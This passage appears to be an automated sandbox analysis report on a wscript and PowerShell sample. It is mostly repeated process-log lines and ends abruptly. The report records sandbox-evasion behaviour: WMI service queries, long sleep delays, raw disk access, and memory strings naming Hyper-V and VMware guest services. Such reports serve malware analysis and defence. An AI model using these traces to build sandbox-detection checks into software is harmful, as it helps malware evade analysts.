Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5365	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4466	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7837	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1892	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 7940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8176	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1376	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface}
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicshutdown Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicheartbeat Hyper-V Heartbeat Service
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q-Hyper-V Remote Desktop Virtualization Serviceo
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicvmsession Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: wscript.exe, 00000000.00000003.1200865030.000001FE627C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}o
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Remote Desktop Virtualizati...
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicrdv Hyper-V Remote Desktop Virtualizati...
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Servicek
Source: wscript.exe, 00000000.00000003.1202882465.000001FE627D7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1186796683.000001FE627D8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1185901359.000001FE62836000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1186796683.000001FE62836000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1201173033.000001FE62836000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1186474037.000001FE627B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1204893326.000001FE62836000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1204893326.000001FE627D8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1201173033.000001FE627D0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1186474037.000001FE62836000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1202882465.000001FE62836000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicguestinterface Hyper-V Guest Service Interface
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #Hyper-V Remote Desktop Virtualizati
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Guest Shutdown Service
Source: wscript.exe, 00000000.00000003.1203254251.000001FE607D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ect ServicevmicvssVolume Shadow CopyWindows TimeWalletServiceWarpJITSvcBlock
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Guest Service Interface
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q$Hyper-V Time Synchronization Servicef
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399EC87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Servicet
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Heartbeat Service
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399EC87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V PowerShell Direct Service
Source: wscript.exe, 00000000.00000003.1202746380.000001FE607F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_ServiceStoppedOKvmicshutdownvmicshutdownUnknownUnknownUnknownWin32_ServiceWin32_ComputerSystemJONES-PCvmicshutdownFont
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Data Exchange Service
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399EC87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Time Synchronization Service
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Servicex
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399EC87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Volume Shadow Copy Requestor
Source: wscript.exe, 00000000.00000003.1202746380.000001FE607F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_ServiceStoppedOKvmicheartbeatvmicheartbeatUnknownUnknownUnknownWin32_ServiceWin32_ComputerSystemJONES-PCvmicheartbeatcol
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmictimesync Hyper-V Time Synchronization Service
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Stopped vmicvss
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399EC87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicvss Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399EC87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: !Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmickvpexchange Hyper-V Data Exchange Service
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q$Hyper-V Volume Shadow Copy Requestor]
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399EC87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399EC87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: powershell.exe, 00000001.00000002.1346705412.000002399F687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Time Synchronization Service
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q!Hyper-V PowerShell Direct Serviceb

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 11_2_047CD244 LdrInitializeThunk,LdrInitializeThunk,

11_2_047CD244

Source: C:\Windows\System32\wscript.exe

